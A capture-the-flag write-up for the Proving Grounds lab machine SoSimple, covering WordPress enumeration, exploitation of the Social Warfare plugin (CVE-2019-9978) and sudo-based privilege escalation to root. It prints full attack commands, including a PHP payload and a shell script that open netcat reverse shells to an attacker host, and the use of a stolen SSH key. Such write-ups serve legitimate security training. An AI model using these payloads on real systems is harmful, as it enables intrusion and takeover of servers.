# SoSimple Writeup - Proving Grounds

> Exploit WordPress plugins for RCE, escalate via sudo misconfiguration and SUID binaries on this Linux box to capture both flags.

- **URL:** https://hackindex.io/writeups/sosimple
- **Platform:** Proving Grounds
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/sosimple-389/overview
- **Tags:** wordpress, privilege-escalation, suid, sudo-misconfiguration, gtfobins, cve-2019-9978
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. The Apache server on Ubuntu hosts a page titled *So Simple*. Directory enumeration with a large wordlist finds a single path worth pursuing: `/wordpress/`.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: So Simple
```

**Directory enumeration**

```bash
gobuster dir -u "http://$TARGET_IP" -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt --random-agent -b 404,403
# wordpress  (Status: 301) [--> http://192.168.152.78/wordpress/]
```

## Enumeration

WPScan against the WordPress install identifies version **5.4.2**, two users (**admin** and **max**), and two plugins. The **Social Warfare** plugin is version 3.5.0 ,  vulnerable to an unauthenticated RCE via its settings import endpoint (CVE-2019-9978, fixed in 3.5.3).

**WordPress enumeration**

```bash
wpscan --url http://$TARGET_IP/wordpress -e ap,t,tt,u --random-user-agent
# [+] WordPress version 5.4.2 identified
#
# [+] social-warfare
#  | Version: 3.5.0 (100% confidence)
#  | [!] The version is out of date, the latest version is 4.5.6
#
# [+] Users Identified:
# [+] admin
# [+] max
```

## Initial Access

### Social Warfare RCE (CVE-2019-9978)

The vulnerability triggers when visiting `/wp-admin/admin-post.php?swp_debug=load_options&swp_url=` with a URL pointing to an attacker-controlled payload file. The plugin fetches and processes the file without authentication. The payload file must contain a PHP system call wrapped in `<pre>` tags.

Host a payload file on the attacker machine:

```
<pre>system('busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash')</pre>
```

**Serve payload and trigger RCE**

```bash
python3 -m http.server 1234
# Then trigger:
curl 'http://$TARGET_IP/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$ATTACKER_IP:1234/payload.txt'
```

**Catch the shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78]
# www-data@so-simple:/var/www/html/wordpress$
```

### Lateral Movement ,  SSH Key in max's Home

Browsing max's home directory reveals a nested directory structure containing an SSH private key at `this/is/maybe/the/way/to/a/private_key/id_rsa`. The key is world-readable. Copy it locally and SSH in as **max**:

**Find the private key**

```bash
find /home/max/this -type f -ls
# 16069  4 -rw-rw-r--  1 max  max  1441 Jul 12 2020 this/is/maybe/the/way/to/a/private_key/id_rsa
```

**SSH as max with private key**

```bash
ssh max@$TARGET_IP -i key
# max@so-simple:~$
```

## Privilege Escalation

### max → steven via sudo service

Max can run `/usr/sbin/service` as **steven** without a password. GTFOBins documents that `service` passes its second argument directly to `exec()`, allowing shell escape via path traversal:

**Escalate to steven via sudo service**

```bash
sudo -u steven /usr/sbin/service ../../bin/sh
# $ whoami
# steven
```

### steven → root via missing sudo script

Steven can run `/opt/tools/server-health.sh` as root without a password ,  but the file and its parent directory don't exist yet. Create the directory and the script, then execute it:

**Create and run the missing sudo script**

```bash
sudo -l
mkdir /opt/tools
echo 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' > /opt/tools/server-health.sh
chmod +x /opt/tools/server-health.sh
sudo -u root /opt/tools/server-health.sh
# User steven may run the following commands on so-simple:
#     (root) NOPASSWD: /opt/tools/server-health.sh
```

**Catch the root shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78]
# # whoami
# root
```

Root shell obtained via a two-step lateral movement chain.

Related

## References

- [WPScan — Social Warfare RCE (CVE-2019-9978)](https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618/) - Unauthenticated RCE via settings import in Social Warfare <= 3.5.2
- [GTFOBins — service](https://gtfobins.github.io/gtfobins/service/#shell) - service sudo escape — second argument passed to exec allows path traversal shell
